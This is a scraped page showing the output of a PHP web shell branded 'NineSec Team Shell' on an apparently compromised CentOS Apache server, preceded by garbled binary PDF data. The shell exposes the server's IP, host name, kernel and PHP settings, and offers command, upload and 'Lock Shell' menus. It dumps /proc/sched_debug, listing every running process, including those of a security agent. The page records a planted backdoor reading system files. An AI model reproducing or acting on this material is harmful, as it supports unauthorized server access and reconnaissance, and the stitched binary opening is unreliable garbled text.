%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.58.105
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1160.95.1.el7.x86_64 #1
ktime                                   : 22880362917.768787
sched_clk                               : 22880273883.248090
cpu_clk                                 : 22880362917.783152
jiffies                                 : 27175030214
sched_clock_stable()                    : 0

sysctl_sched
  .sysctl_sched_latency                    : 6.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2600.080 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 3974146733
  .nr_load_updates               : 5350280535
  .nr_uninterruptible            : 0
  .next_balance                  : 4294.667296
  .curr->pid                     : 10637
  .clock                         : 22880362927.800699
  .cpu_load[0]                   : 3072
  .cpu_load[1]                   : 3072
  .cpu_load[2]                   : 3015
  .cpu_load[3]                   : 2732
  .cpu_load[4]                   : 2390
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3130983778.321530
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2048
  .runnable_load_avg             : 1230
  .blocked_load_avg              : 412
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 32637
  .avg->runnable_avg_period      : 46579

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 3130983725.809254   9667758   120         0.000000  20259336.036348         0.000000 0 /
        kthreadd     2 3130968428.515555     93655   120         0.000000     55155.935043         0.000000 0 /
    kworker/0:0H     4     11179.998457         7   100         0.000000         0.959163         0.000000 0 /
     ksoftirqd/0     6 3130983532.405566   7835620   120         0.000000   1532776.217816         0.000000 0 /
     migration/0     7         0.006383       101     0         0.000000        10.779026         0.000000 0 /
          rcu_bh     8        36.699306         2   120         0.000000         0.173663         0.000000 0 /
       rcu_sched     9 3130983788.170631 471889202   120         0.000000  35773827.648184         0.000000 0 /
   lru-add-drain    10        45.834245         2   100         0.000000         0.792648         0.000000 0 /
      watchdog/0    11         2.246668   5720093     0         0.000000   1516623.600841         0.000000 0 /
       kdevtmpfs    13     91093.304866       145   120         0.000000        33.332808         0.000000 0 /
           netns    14        98.950903         2   100         0.000000         0.039801         0.000000 0 /
      khungtaskd    15 3130979042.191418    190670   120         0.000000     48842.066232         0.000000 0 /
       writeback    16 3066572111.521501       326   100         0.000000      1020.200607         0.000000 0 /
     kintegrityd    17       164.734459         2   100         0.000000         0.027367         0.000000 0 /
          bioset    18       166.247667         2   100         0.000000         0.030115         0.000000 0 /
          bioset    19       168.257161         2   100         0.000000         0.030407         0.000000 0 /
          bioset    20       170.266980         2   100         0.000000         0.030234         0.000000 0 /
         kblockd    21       172.279284         2   100         0.000000         0.040768         0.000000 0 /
              md    22       464.987227         2   100         0.000000         0.036982         0.000000 0 /
     edac-poller    23       466.498149         2   100         0.000000         0.035441         0.000000 0 /
       watchdogd    24       483.882501         2   100         0.000000         0.035050         0.000000 0 /
         kswapd0    27 2265072188.076023      1701   120         0.000000     16823.474155         0.000000 0 /
            ksmd    28      3045.379710         2   125         0.000000         0.419629         0.000000 0 /
      khugepaged    29 3130982962.501576   1320906   139         0.000000    466403.852687         0.000000 0 /
          crypto    30      3087.634387         2   100         0.000000         0.053849         0.000000 0 /
        kthrotld    38      3110.547954         2   100         0.000000         0.038385         0.000000 0 /
    kmpath_rdacd    40      3144.734067         2   100         0.000000         0.027367         0.000000 0 /
          kaluad    41      3146.248368         2   100         0.000000         0.031698         0.000000 0 /
       kpsmoused    42      3489.353293         2   100         0.000000         0.065017         0.000000 0 /
   ipv6_addrconf    44 2396280796.658397        14   100         0.000000         7.396589         0.000000 0 /
         deferwq    58     10059.870641         3   100         0.000000         0.526465         0.000000 0 /
         kauditd    94 3130915987.162478     90934   120         0.000000     34621.317443         0.000000 0 /
         ata_sff   265 3130558472.484563     15830   100         0.000000      7579.123229         0.000000 0 /
       scsi_eh_0   277     10102.830728         4   120         0.000000         7.877805         0.000000 0 /
      scsi_tmf_0   278     10059.133876         2   100         0.000000         0.077855         0.000000 0 /
       scsi_eh_1   279     23222.361177        44   120         0.000000        14.343241         0.000000 0 /
      scsi_tmf_1   280     10062.894366         2   100         0.000000         0.055958         0.000000 0 /
        ttm_swap   283     10397.664358         2   100         0.000000         0.066416         0.000000 0 /
   virtscsi-scan   290     10873.946954         2   100         0.000000         0.087109         0.000000 0 /
       scsi_eh_2   291     10877.055920         2   120         0.000000         0.049004         0.000000 0 /
      scsi_tmf_2   292     10877.926699         2   100         0.000000         0.058780         0.000000 0 /
    kworker/0:1H   298 3130983491.845767   6990548   100         0.000000   1062102.703708         0.000000 0 /
        kdmflush   363 3093810802.300959        10   100         0.000000         6.156191         0.000000 0 /
          bioset   364     13813.673371         2   100         0.000000         0.062074         0.000000 0 /
        kdmflush   374     14580.733824         2   100         0.000000         0.080091         0.000000 0 /
          bioset   375     14580.910520         2   100         0.000000         0.350157         0.000000 0 /
          bioset   389     16013.613204         2   100         0.000000         0.066023         0.000000 0 /
        xfsalloc   390     16020.847884         2   100         0.000000         0.067160         0.000000 0 /
   xfs_mru_cache   391     16022.363490         2   100         0.000000         0.060176         0.000000 0 /
    xfs-buf/dm-0   392 3037211207.507039        21   100         0.000000         2.409531         0.000000 0 /
   xfs-data/dm-0   393 2888115619.226507        62   100         0.000000        25.918406         0.000000 0 /
   xfs-conv/dm-0   394     16034.244021         2   100         0.000000         0.030875         0.000000 0 /
    xfs-cil/dm-0   395 3130816417.873422     28315   100         0.000000     19133.851759         0.000000 0 /
 xfs-reclaim/dm-   396 3064340250.902159        41   100         0.000000        19.280012         0.000000 0 /
    xfs-log/dm-0   397     16040.311647         2   100         0.000000         0.101173         0.000000 0 /
 xfs-eofblocks/d   398 1742709627.108083         5   100         0.000000         2.772432         0.000000 0 /
    xfsaild/dm-0   399 3130983742.662197 398406263   120         0.000000  32192158.004305         0.000000 0 /
 systemd-journal   479 3130978094.863993    368377   120         0.000000   1109992.158129         0.000000 0 /
         lvmetad   499     54246.210849       109   120         0.000000       115.374905         0.000000 0 /
   systemd-udevd   506 2069329203.301260      1656   120         0.000000      2034.725660         0.000000 0 /
 kvm-irqfd-clean   556     23462.639293         2   100         0.000000         0.087501         0.000000 0 /
    xfs-buf/sda1   557     23484.446397         2   100         0.000000         0.104997         0.000000 0 /
   xfs-data/sda1   558     23485.240028         2   100         0.000000         0.085981         0.000000 0 /
   xfs-conv/sda1   559     23485.998314         2   100         0.000000         0.063834         0.000000 0 /
    xfs-cil/sda1   560 2058349195.831988         4   100         0.000000         1.313776         0.000000 0 /
 xfs-reclaim/sda   561     23487.541418         2   100         0.000000         0.050109         0.000000 0 /
    xfs-log/sda1   562     23488.317944         2   100         0.000000         0.052649         0.000000 0 /
 xfs-eofblocks/s   563     23489.099509         2   100         0.000000         0.060242         0.000000 0 /
    xfsaild/sda1   564 3130982327.469596      4629   120         0.000000       364.021148         0.000000 0 /
          auditd   585 3130979249.520606    471303   116         0.000000    249359.494617         0.000000 0 /
          auditd   586 3128683103.379055     12163   116         0.000000     10029.114832         0.000000 0 /
         polkitd   604 3130916020.569178    100617   120         0.000000    204687.228065         0.000000 0 /
           gmain   619     26820.132825         6   120         0.000000         8.818404         0.000000 0 /
           gdbus   624 3130916019.772636    118945   120         0.000000    379359.694882         0.000000 0 /
         polkitd   627     27047.202353         3   120         0.000000         2.111092         0.000000 0 /
    JS GC Helper   628     27078.600479         4   120         0.000000         3.646440         0.000000 0 /
 JS Sour~ Thread   629     27312.795927         6   120         0.000000         3.856631         0.000000 0 /
         polkitd   638     32166.006015         7   120         0.000000        44.860644         0.000000 0 /
  systemd-logind   607 3130983672.756116   2515231   120         0.000000   3160637.779071         0.000000 0 /
     dbus-daemon   610 3130983674.437534   2659320   120         0.000000   7639985.815083         0.000000 0 /
           crond   630 3130979116.209040    395136   120         0.000000    531434.530330         0.000000 0 /
           login   644 1432479321.304127       247   120         0.000000      2415.884841         0.000000 0 /
  NetworkManager   657 3130983725.420366  49208496   120         0.000000  42111116.546781         0.000000 0 /
           gmain   658 3130983481.575345   5720984   120         0.000000   2250470.491675         0.000000 0 /
           gdbus   660 3130916021.064881     39952   120         0.000000    271491.811461         0.000000 0 /
           tuned   862 3130749087.989078     10917   120         0.000000     12771.808353         0.000000 0 /
           gmain  1205     51828.326037         6   120         0.000000         5.057658         0.000000 0 /
           tuned  1207 3130983725.382153  22836529   120         0.000000  20406453.069608         0.000000 0 /
           tuned  1223     52264.431821         8   120         0.000000         6.229698         0.000000 0 /
           tuned  1234     52501.722709         4   120         0.000000        42.233303         0.000000 0 /
            sshd   863 3130649551.901571     24813   120         0.000000    125114.969587         0.000000 0 /
        rsyslogd   868 3130928996.976566     39024   120         0.000000     33663.771506         0.000000 0 /
    in:imjournal   888 3130983724.973311  25432810   120         0.000000   8168655.038636         0.000000 0 /
   rs:main Q:Reg   893 3130915973.317658     71246   120         0.000000    129255.799883         0.000000 0 /
     mysqld_safe   968     54376.137316       442   120         0.000000       443.020595         0.000000 0 /
        ds_agent  1099     50015.960058        46   120         0.000000        44.723319         0.000000 0 /
        ds_agent  1104 3130981950.047368   1243459   120         0.000000    239632.652491         0.000000 0 /
   CScriptThread  1105    112726.462323      5524   120         0.000000     27239.120463         0.000000 0 /
   dsa.threadMgr  1690 3130983354.391577  20267806   120         0.000000  95735958.190551         0.000000 0 /
   dsa.Scheduler  1691 3130983354.279899  30619839   120         0.000000 129610378.851864         0.000000 0 /
 dsa.ListenThrea  1692 3119623685.883533      1010   120         0.000000      4455.420585         0.000000 0 /
 dsp.hub.service  1693 3130983725.686953  45668825   120         0.000000  61964930.899058         0.000000 0 /
   dsa.NotifySvc  1694 3130983317.033727   1541818   120         0.000000   1582542.654646         0.000000 0 /
 dsa.ManageIPTab  1695 525054449.047207       380   120         0.000000      1438.609049         0.000000 0 /
  dsp.im.service  1696 3130983317.130059   1544135   120         0.000000   1948980.534194         0.000000 0 /
  dsp.am.service  1697 3130983492.674942   4622607   120         0.000000   4382974.961131         0.000000 0 /
  dsp.ac.service  1698 3130983492.172887   4617751   120         0.000000   3830172.710780         0.000000 0 /
 dsp.sensor.serv  1699 3130983731.888417  23205196   120         0.000000 145373892.821145         0.000000 0 /
 dsp.nuagent.ser  1702 3130983725.159441  22941607   120         0.000000  12213664.506443         0.000000 0 /
 dsp.fwdpi.servi  1703 3130982504.257530    400970   120         0.000000     92681.562553         0.000000 0 /
 dsp.fwdpi.sslDp  1704 3130983727.866111   4776589   120         0.000000  15919310.896934         0.000000 0 /
      dsa.fasthb  1706 3130981743.937119    772555   120         0.000000    667016.127892         0.000000 0 /
  dsa.MetricsSvc  1707 525055200.205850      1635   120         0.000000     14883.420609         0.000000 0 /
 dsa.IoTForwarde  1708 525051150.308240       292   120         0.000000      1235.061007         0.000000 0 /
    ProcMonLinux  1709 3130983735.393380  51299526   120         0.000000  59484128.855042         0.000000 0 /
  CSSLCertThread  1712    105120.748475         4   120         0.000000         9.975248         0.000000 0 /
 wrs.worker_0005  1731 3130983725.279416   4624195   120         0.000000   3696247.675403         0.000000 0 /
 wrs.worker_0006  1734 3130983725.163333   4622797   120         0.000000   3765845.112402         0.000000 0 /
 dsa.Scheduler_0  1739 3130983532.496558   4604972   120         0.000000   2025834.514195         0.000000 0 /
 dsa.Scheduler_0 27633 3130982540.295257   3828031   120         0.000000  40796745.524179         0.000000 0 /
 dsa.Scheduler_0 13070 3130982479.702262   2814609   120         0.000000  30217581.040319         0.000000 0 /
 dsa.Scheduler_0  3199 3130983735.623080    638781   120         0.000000   6783980.326495         0.000000 0 /
 dsa.Scheduler_0 19901 3130982156.444562    280953   120         0.000000   3068683.820472         0.000000 0 /
 dsa.Scheduler_0 19910 3130983344.072865    285538   120         0.000000   3069156.751368         0.000000 0 /
          mysqld  1335 3130866214.252936     40706   120         0.000000    170179.982159         0.000000 0 /
          mysqld  1360 3130983724.746104  45552757   120         0.000000   3291765.563894         0.000000 0 /
          mysqld  1361 3130983724.756806  45561320   120         0.000000   3733341.902741         0.000000 0 /
          mysqld  1362 3130983724.765741  45553470   120         0.000000   3911108.301864         0.000000 0 /
          mysqld  1363 3130983724.744235  45553681   120         0.000000   3990342.392549         0.000000 0 /
          mysqld  1364 3130983724.747267  45553573   120         0.000000   3947497.922112         0.000000 0 /
          mysqld  1365 3130983724.748200  45553667   120         0.000000   3940578.095875         0.000000 0 /
          mysqld  1366 3130983724.746570  45555610   120         0.000000   4102592.182018         0.000000 0 /
          mysqld  1367 3130983724.752413  45553951   120         0.000000   4326520.763011         0.000000 0 /
          mysqld  1368 3130983724.858570  45554227   120         0.000000   4318201.576376         0.000000 0 /
          mysqld  1369 3130983724.901090  45553820   120         0.000000   4243666.503517         0.000000 0 /
          mysqld  1400 3130983725.101505  22821194   120         0.000000   7826032.349369         0.000000 0 /
          mysqld  1401 3130983788.170631  22821254   120         0.000000  12479156.643158         0.000000 0 /
          mysqld  1402 3130983492.059148   4575210   120         0.000000   1002935.446133         0.000000 0 /
          mysqld  1403 3130983401.449126   4575089   120         0.000000    892994.111415         0.000000 0 /
          mysqld  1404 3130867058.775776    286684   120         0.000000    168820.696515         0.000000 0 /
          mysqld  1405 2267499038.816050      9792   120         0.000000      2516.935334         0.000000 0 /
          mysqld  1419 3130982176.682909    762786   120         0.000000    228059.850779         0.000000 0 /
          mysqld  1426     55718.688941         1   120         0.000000         5.154682         0.000000 0 /
          master  1463 3130982308.026408    921734   120         0.000000    943630.504124         0.000000 0 /
            qmgr  1465 3130963956.338373    147440   120         0.000000    511147.152885         0.000000 0 /
      ds_nuagent  1767    128688.682385       198   120         0.000000       968.460979         0.000000 0 /
      ds_nuagent  1768 3130983401.555109  14493471   120         0.000000   2771393.682532         0.000000 0 /
      ds_nuagent  1769 3116671936.139034   2407044   120         0.000000    867529.516269         0.000000 0 /
      ds_nuagent  1770    127951.980881         1   120         0.000000         0.576144         0.000000 0 /
      ds_nuagent  1771    128674.089474        52   120         0.000000         8.367332         0.000000 0 /
      ds_nuagent  1773 3130983401.316709   1000630   120         0.000000    363146.817789         0.000000 0 /
      ds_nuagent 17230 3116671935.575794   3888363   120         0.000000   1419767.189693         0.000000 0 /
      ds_nuagent  1772 3129615932.784468      1843   120         0.000000      1558.952070         0.000000 0 /
      ds_nuagent  1774 3130983742.917657 131127512   120         0.000000  18448331.548493         0.000000 0 /
      ds_nuagent  1775    129437.564505        57   120         0.000000        12.395746         0.000000 0 /
      ds_nuagent  1776    128778.897335         1   120         0.000000         0.508460         0.000000 0 /
      ds_nuagent  1777 2267181984.366366   2151249   120         0.000000   2962960.549396         0.000000 0 /
      ds_nuagent  1779 2127766343.074077    382004   120         0.000000    521825.351699         0.000000 0 /
      ds_nuagent  1780 3130909923.303654   5198179   120         0.000000   7154848.526921         0.000000 0 /
      ds_nuagent  1994 3130979248.139482  10288363   120         0.000000  14133329.064297         0.000000 0 /
      ds_nuagent  1995 3130878336.185698   7710937   120         0.000000  10556518.070678         0.000000 0 /
      ds_nuagent  1996 3124828229.344972     13436   120         0.000000     22054.617890         0.000000 0 /
      ds_nuagent  1997    171393.950702         1   120         0.000000         0.921241         0.000000 0 /
      ds_nuagent  1998 2058359445.035423   6141376   120         0.000000   8357866.826345         0.000000 0 /
      ds_nuagent  2230 3130983692.726128  10739883   120         0.000000  14670445.388816         0.000000 0 /
      ds_nuagent  2233 3130983743.106993  11078298   120         0.000000  15059279.655483         0.000000 0 /
      ds_nuagent  3753 3130983735.740057  10730856   120         0.000000  14657839.142653         0.000000 0 /
      ds_nuagent 30554 3079881237.672689   7935157   120         0.000000  10835672.729704         0.000000 0 /
           ds_am  1792 2058425795.275358        39   120         0.000000       102.553594         0.000000 0 /
             zsh   942 1432482527.071107       132   120         0.000000       968.540211         0.000000 0 /
            sudo   956 1432483438.676284       151   120         0.000000       474.749189         0.000000 0 /
              su   957 1432483883.187828        97   120         0.000000       315.363006         0.000000 0 /
             zsh   960 1432491964.802127       158   120         0.000000       816.385604         0.000000 0 /
              su  1005 1432492301.935552        99   120         0.000000       318.178128         0.000000 0 /
            bash  1006 1432498190.104769        84   120         0.000000       375.226903         0.000000 0 /
              su  1056 1432499545.001904       132   120         0.000000       702.661203         0.000000 0 /
             zsh  1059 1432505982.142489       170   120         0.000000       873.768849         0.000000 0 /
              su  1122 1432506341.134783        98   120         0.000000       348.768148         0.000000 0 /
            bash  1123 1432508511.042336        54   120         0.000000       320.992022         0.000000 0 /
            sudo  1152 1432509724.876639       192   120         0.000000       947.266932         0.000000 0 /
              su  1156 1432510028.952063        99   120         0.000000       313.620122         0.000000 0 /
             zsh  1157 1818619245.671007       236   120         0.000000      1117.895886         0.000000 0 /
           ds_am  7584 3130983350.172073    828731   120         0.000000   3434945.225580         0.000000 0 /
           ds_am  7765 3130983724.826271   7957049   120         0.000000   2384289.475341         0.000000 0 /
      pool-ds_am  7788 2924031975.488145        89   120         0.000000       563.597850         0.000000 0 /
      pool-ds_am  7803 2058429425.795538         1   120         0.000000         0.302725         0.000000 0 /
           ds_am  7804 3130983773.790442   7916247   120         0.000000   1108857.514717         0.000000 0 /
      pool-ds_am  7805 2058429464.750065         1   120         0.000000         0.446340         0.000000 0 /
           ds_am  7974 3130983724.760243   7936282   120         0.000000   1376266.079916         0.000000 0 /
           ds_am  8021 2058435766.490153         1   120         0.000000         0.697970         0.000000 0 /
           ds_am  8025 2058436081.813947         1   120         0.000000         0.411930         0.000000 0 /
           ds_am  8027 2058436134.663466         1   120         0.000000         0.317874         0.000000 0 /
           ds_am  8028 2058436134.632485         1   120         0.000000         0.286900         0.000000 0 /
           ds_am  8029 2058436134.771839         1   120         0.000000         0.426247         0.000000 0 /
           ds_am  8030 2058436134.489776         1   120         0.000000         0.144184         0.000000 0 /
           ds_am  8031 2058436138.449388         1   120         0.000000         4.103810         0.000000 0 /
           ds_am  8042 3130983592.946209     17341   120         0.000000     38993.580438         0.000000 0 /
           ds_am  8122 3130983595.359819    295796   120         0.000000   4162154.219706         0.000000 0 /
           ds_am  8123 2242157184.228496      4060   120         0.000000     39103.902891         0.000000 0 /
           ds_am  8124 3130478858.290697      9220   120         0.000000     88184.968228         0.000000 0 /
           ds_am  8125 2059244420.355516      1787   120         0.000000     16247.947893         0.000000 0 /
           ds_am  8126 2059244033.686045      2762   120         0.000000     25684.248537         0.000000 0 /
           ds_am  8127 3130983593.219091     10087   120         0.000000     44792.426176         0.000000 0 /
           ds_am  8128 3049986616.232935      3529   120         0.000000     34462.638173         0.000000 0 /
           ds_am  8129 2058441739.994306         1   120         0.000000         3.087986         0.000000 0 /
           ds_am  8147 3130979326.801270    132598   120         0.000000     33588.735674         0.000000 0 /
           ds_am  8152 2058442092.056725         1   120         0.000000         0.249040         0.000000 0 /
           ds_am  8156 3130983775.464948  44296396   120         0.000000  18140064.822961         0.000000 0 /
           ds_am  8157 3130952515.691879     13245   120         0.000000     10590.089439         0.000000 0 /
           ds_am  8159 3130978591.940884     26739   120         0.000000     61071.704823         0.000000 0 /
           ds_am  8160 3130942582.867655  11451780   120         0.000000 205714599.484494         0.000000 0 /
           ds_am  8327 3130983725.020382  12286678   120         0.000000  77939082.152821         0.000000 0 /
    pool-spawner  8328 2058450189.517339         1   120         0.000000         2.894155         0.000000 0 /
      pool-ds_am  8329 3130983735.873297  52619616   120         0.000000  12800578.123873         0.000000 0 /
           ds_am  8556 2058459372.332123         4   120         0.000000         4.410200         0.000000 0 /
      pool-ds_am  8557 3130983725.006836  15800815   120         0.000000   3380345.342251         0.000000 0 /
      pool-ds_am 26596 3130983618.419632     17605   120         0.000000     31270.641995         0.000000 0 /
      pool-ds_am 26612 3130983273.709765     17496   120         0.000000     29932.805965         0.000000 0 /
      pool-ds_am 26613 3130983728.143060     17358   120         0.000000     29630.410622         0.000000 0 /
      pool-ds_am 26614 3130983065.579604     17826   120         0.000000     34984.087750         0.000000 0 /
      pool-ds_am 26615 3130982947.319145     17853   120         0.000000     34619.325843         0.000000 0 /
      pool-ds_am 26616 3130982823.978693     17557   120         0.000000     30509.309579         0.000000 0 /
      pool-ds_am 26617 3130983484.740741     17538   120         0.000000     31634.190350         0.000000 0 /
      pool-ds_am 26618 3130983226.413970     17583   120         0.000000     31490.644029         0.000000 0 /
      pool-ds_am 26627 3130981767.310530      3963   120         0.000000       804.572707         0.000000 0 /
      pool-ds_am 26628 3130983481.527137      3961   120         0.000000       871.357374         0.000000 0 /
      pool-ds_am 26629 3130983724.994133      3964   120         0.000000       779.914008         0.000000 0 /
      pool-ds_am 26630 3130983062.381379      3956   120         0.000000       743.280919         0.000000 0 /
      pool-ds_am 26631 3130983611.510309      3958   120         0.000000       781.084655         0.000000 0 /
      pool-ds_am 26632 3130982944.303007      3959   120         0.000000       803.550857         0.000000 0 /
      pool-ds_am 26633 3130981781.186245      3969   120         0.000000       840.625210         0.000000 0 /
      pool-ds_am 26634 3130982819.936908      3963   120         0.000000       841.379179         0.000000 0 /
           httpd 17289 3130983672.988494   7919053   120         0.000000   3324602.108750         0.000000 0 /
          script 16354 2070103212.326752      3298   120         0.000000      2747.995317         0.000000 0 /
            bash 16355 2070103213.528837       504   120         0.000000      1378.423507         0.000000 0 /
    kworker/u2:2 16403 3130983491.980750     22056   120         0.000000     13453.775196         0.000000 0 /
    kworker/u2:1  6131 3117022599.315127     55306   120         0.000000     32295.620419         0.000000 0 /
R          httpd 10637 3130983796.095888      2039   120         0.000000     14850.693222         0.000000 0 /
           httpd 10638 3130982687.226521      1986   120         0.000000     13575.596037         0.000000 0 /
           httpd 10640 3130955295.611943      3608   120         0.000000     28418.912891         0.000000 0 /
           httpd 11703 3130955295.405032      2543   120         0.000000     21671.617072         0.000000 0 /
           httpd 18200 3130955295.464305      2991   120         0.000000     24531.914175         0.000000 0 /
           httpd 20064 3130955293.838784       827   120         0.000000      7058.452494         0.000000 0 /
          pickup 20632 3130982308.073558       140   120         0.000000       350.435138         0.000000 0 /
     kworker/0:1 22880 3130968438.347432      1598   120         0.000000       415.001560         0.000000 0 /
           httpd 24319 3130955295.488515       286   120         0.000000      2485.697685         0.000000 0 /
     kworker/0:2 24648 3130983724.964952      1275   120         0.000000       300.513993         0.000000 0 /
     kworker/0:0 25068 3130968438.885742       658   120         0.000000       134.589100         0.000000 0 /
           httpd 25164 3130968832.678285       226   120         0.000000      2126.995391         0.000000 0 /
           httpd 25168 3130974935.244233        88   120         0.000000       764.088393         0.000000 0 /
           httpd 25169 3130979452.827668        52   120         0.000000       389.816990         0.000000 0 /
     kworker/0:3 25309 3130983735.429713       683   120         0.000000       120.191485         0.000000 0 /


NineSec Team - 2022